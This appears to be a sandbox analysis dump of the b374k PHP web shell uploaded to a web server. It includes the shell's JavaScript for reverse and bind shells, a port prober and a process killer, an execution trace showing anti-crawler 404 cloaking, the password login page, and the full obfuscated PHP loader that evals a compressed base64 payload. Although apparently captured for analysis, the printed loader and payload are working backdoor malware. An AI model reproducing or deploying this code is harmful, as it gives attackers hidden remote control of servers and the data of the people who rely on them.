rs_go(rsType){rsArgs="";if(rsType==\'bind\'){rsPort=parseInt($(\'#bindPort\').val());rsLang=$(\'#bindLang\').val();rsArgs=rsPort;rsResult=$(\'#bindResult\')}else if(rsType==\'back\'){rsAddr=$(\'#backAddr\').val();rsPort=parseInt($(\'#backPort\').val());rsLang=$(\'#backLang\').val();rsArgs=rsPort+\' \'+rsAddr;rsResult=$(\'#backResult\')}if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){rsResult.html(\'Invalid port\');return}if(rsArgs!=\'\'){send_post({rsLang:rsLang,rsArgs:rsArgs},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];rsResult.html(output)}else{rsResult.html(res)}}})}}function packet_go(){packetHost=$(\'#packetHost\').val();packetStartPort=parseInt($(\'#packetStartPort\').val());packetEndPort=parseInt($(\'#packetEndPort\').val());packetTimeout=parseInt($(\'#packetTimeout\').val());packetSTimeout=parseInt($(\'#packetSTimeout\').val());packetContent=$(\'#packetContent\').val();packetResult=$(\'#packetResult\');packetStatus=$(\'#packetStatus\');if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){packetResult.html(\'Invalid start port\');return}if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){packetResult.html(\'Invalid end port\');return}if((isNaN(packetTimeout))||(packetTimeout<=0)){packetResult.html(\'Invalid connection timeout\');return}if((isNaN(packetSTimeout))||(packetSTimeout<=0)){packetResult.html(\'Invalid stream timeout\');return}if(packetStartPort>packetEndPort){start=packetEndPort;end=packetStartPort}else{start=packetStartPort;end=packetEndPort}packetResult.html(\'\');while(start<=end){packetPort=start++;packetResult.append("<hr><div><p class=\'boxtitle\'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id=\'packet"+packetPort+"\' style=\'padding:2px 4px;\'>Working... please wait...</div></div>");packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent)}}function packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent){send_post({packetHost:packetHost,packetPort:packetPort,packetEndPort:packetEndPort,packetTimeout:packetTimeout,packetSTimeout:packetSTimeout,packetContent:packetContent},function(res){$(\'#packet\'+packetPort).html(res)},false)}Zepto(function($){show_processes()});function show_processes(){send_post({showProcesses:\'\'},function(res){if(res!=\'error\'){$(\'#processes\').html(res);sorttable.k($(\'#psTable\').get(0));ps_bind()}})}function ps_bind(){$(\'.kill\').off(\'click\');$(\'.kill\').on(\'click\',function(e){kill_pid(ps_get_pid($(this)))});cbox_bind(\'psTable\',\'ps_update_status\')}function ps_get_pid(el){return el.parent().parent().attr(\'data-pid\')}function ps_update_status(){totalSelected=$(\'#psTable\').find(\'.cBoxSelected\').not(\'.cBoxAll\').length;if(totalSelected==0)$(\'.psSelected\').html(\'\');else $(\'.psSelected\').html(\' ( \'+totalSelected+\' item(s) selected )\')}function kill_selected(){buffer=get_all_cbox_selected(\'psTable\',\'ps_get_pid\');allPid=\'\';$.each(buffer,function(i,v){allPid+=v+\' \'});allPid=$.trim(allPid);kill_pid(allPid)}function kill_pid(allPid){title=\'Kill\';content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'allPid\' style=\'height:120px;min-height:120px;\' disabled>"+allPid+"</textarea></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"kill_pid_go();\\">kill</span></td></tr></table>";show_box(title,content)}function kill_pid_go(){allPid=$(\'.allPid\').val();if($.trim(allPid)!=\'\'){send_post({allPid:allPid},function(res){if(res!=\'error\'){$(\'.boxresult\').html(res+\' process(es) killed\')}else $(\'.boxresult\').html(\'Unable to kill process(es)\');show_processes()})}}<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\necho "function ".$GLOBALS[\'module\'][$k][\'id\']."(){ ".$GLOBALS[\'module\'][$k][\'js_ontabselected\']." }\\n";}?>\n</script>\n<!--script end-->\n</body>\n</html><?php die();?>'	/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function	1	0
3		A						/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['module_to_load'] = [0 => 'explorer', 1 => 'terminal', 2 => 'eval', 3 => 'convert', 4 => 'database', 5 => 'info', 6 => 'mail', 7 => 'network', 8 => 'processes']
3		A						/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['resources']['b374k'] = 'hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojl'
3		A						/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['resources']['mime'] = 'dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aF'
3		A						/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['resources']['arrow'] = 'FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhEN'
3		A						/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['ver'] = '3.2.2'
3		A						/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['title'] = 'b374k'
4	10	0	0.015149	1463448	ob_start	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	0
4	10	1	0.015168	1479960
4	10	R			TRUE
4	11	0	0.015183	1479960	error_reporting	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	15
4	11	1	0.015199	1480032
4	11	R			22527
4	12	0	0.015212	1479992	ini_set	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	2	'html_errors'	'0'
4	12	1	0.015230	1480064
4	12	R			'1'
4	13	0	0.015243	1479992	ini_set	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	2	'display_errors'	'1'
4	13	1	0.015259	1480064
4	13	R			''
4	14	0	0.015272	1479992	ini_set	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	2	'display_startup_errors'	'1'
4	14	1	0.015306	1480064
4	14	R			''
4	15	0	0.015320	1479992	ini_set	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	2	'log_errors'	'0'
4	15	1	0.015335	1480064
4	15	R			'1'
4	16	0	0.015350	1479992	set_time_limit	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	0
4	16	1	0.015374	1480056
4	16	R			FALSE
4	17	0	0.015389	1480024	clearstatcache	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	0
4	17	1	0.015403	1480024
4	17	R			NULL
4	18	0	0.015416	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'auth'
4	18	1	0.015432	1480064
4	18	R			FALSE
4	19	0	0.015446	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_server_info'
4	19	1	0.015461	1480064
4	19	R			FALSE
4	20	0	0.015475	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_self'
4	20	1	0.015490	1480064
4	20	R			FALSE
4	21	0	0.015503	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_post'
4	21	1	0.015518	1480064
4	21	R			FALSE
4	22	0	0.015531	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_nav'
4	22	1	0.015550	1480064
4	22	R			FALSE
4	23	0	0.015563	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_cwd'
4	23	1	0.015578	1480064
4	23	R			FALSE
4	24	0	0.015591	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'wrap_with_quotes'
4	24	1	0.015606	1480064
4	24	R			FALSE
4	25	0	0.015618	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_resource'
4	25	1	0.015633	1480064
4	25	R			FALSE
4	26	0	0.015645	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'block_bot'
4	26	1	0.015660	1480064
4	26	R			FALSE
4	27	0	0.015672	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'is_win'
4	27	1	0.015687	1480064
4	27	R			FALSE
4	28	0	0.015700	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'fix_magic_quote'
4	28	1	0.015715	1480064
4	28	R			FALSE
4	29	0	0.015727	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'execute'
4	29	1	0.015742	1480064
4	29	R			FALSE
4	30	0	0.015754	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'html_safe'
4	30	1	0.015769	1480064
4	30	R			FALSE
4	31	0	0.015782	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'parse_dir'
4	31	1	0.015796	1480064
4	31	R			FALSE
4	32	0	0.015808	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'zip'
4	32	1	0.015823	1480064
4	32	R			FALSE
4	33	0	0.015836	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'compress'
4	33	1	0.015850	1480064
4	33	R			FALSE
4	34	0	0.015863	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'decompress'
4	34	1	0.015877	1480064
4	34	R			FALSE
4	35	0	0.015889	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'download'
4	35	1	0.015904	1480064
4	35	R			FALSE
4	36	0	0.015917	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_fileperms'
4	36	1	0.015932	1480064
4	36	R			FALSE
4	37	0	0.015944	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'format_bit'
4	37	1	0.015959	1480064
4	37	R			FALSE
4	38	0	0.015972	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_filesize'
4	38	1	0.015986	1480064
4	38	R			FALSE
4	39	0	0.015999	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_filemtime'
4	39	1	0.016014	1480064
4	39	R			FALSE
4	40	0	0.016027	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_fileowner'
4	40	1	0.016041	1480064
4	40	R			FALSE
4	41	0	0.016054	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'rmdirs'
4	41	1	0.016068	1480064
4	41	R			FALSE
4	42	0	0.016081	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'copys'
4	42	1	0.016096	1480064
4	42	R			FALSE
4	43	0	0.016108	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_all_files'
4	43	1	0.016123	1480064
4	43	R			FALSE
4	44	0	0.016135	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'read_file'
4	44	1	0.016153	1480064
4	44	R			FALSE
4	45	0	0.016166	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'write_file'
4	45	1	0.016180	1480064
4	45	R			FALSE
4	46	0	0.016193	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'view_file'
4	46	1	0.016207	1480064
4	46	R			FALSE
4	47	0	0.016220	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_writabledir'
4	47	1	0.016234	1480064
4	47	R			FALSE
4	48	0	0.016247	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_drives'
4	48	1	0.016261	1480064
4	48	R			FALSE
4	49	0	0.016273	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'show_all_files'
4	49	1	0.016288	1480064
4	49	R			FALSE
4	50	0	0.016300	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'eval_get_supported'
4	50	1	0.016315	1480064
4	50	R			FALSE
4	51	0	0.016328	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'eval_go'
4	51	1	0.016343	1480064
4	51	R			FALSE
4	52	0	0.016356	1480024	function_exists	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'output'
4	52	1	0.016370	1480064
4	52	R			FALSE
4	53	0	0.016383	1480024	block_bot	1		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	0
5	54	0	0.016399	1480024	preg_match	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	2	'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i'	'python-requests/2.25.1'
5	54	1	0.016419	1480088
5	54	R			1
5	55	0	0.016433	1480024	header	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'HTTP/1.0 404 Not Found'
5	55	1	0.016449	1480080
5	55	R			NULL
5	56	0	0.016462	1480048	header	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function(1) : eval()'d code	1	1	'Status: 404 Not Found'
5	56	1	0.016480	1480144
5	56	R			NULL
			0.016525	1384360
TRACE END   [2023-02-13 01:01:24.432987]


Generated HTML code

<html><head></head><body style="background:#f8f8f8;color:#000000;padding:0;margin:0;"><br><p></p><center><noscript>You need to enable javascript</noscript></center><p></p> <script type="text/javascript"> var d = document; d.write("<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:13px;width:144px;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script><br><br><form method="post"><center><input type="password" id="pass" name="pass" style="font-size:13px;width:144px;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;" autocomplete="off"></center></form>  </body></html>

Original PHP code

<?php
/*
	Change the world 2
	Life it's bad
	(c)3014
	https://socialnetworks.hol.es/Mr.Robot
*/
$GLOBALS['pass'] = "da4019f2d5cf5ef29631ac69c2317573de66c9d0"; // x(xx))
$func = "cr" . "eat" . "e_fun" . "cti" . "on";
$b374k = $func('$x', 'ev' . 'al' . '("?>".gz' . 'un' . 'com' . 'pre' . 'ss(ba' . 'se' . '64' . '_de' . 'co' . 'de($x)));');
$b374k("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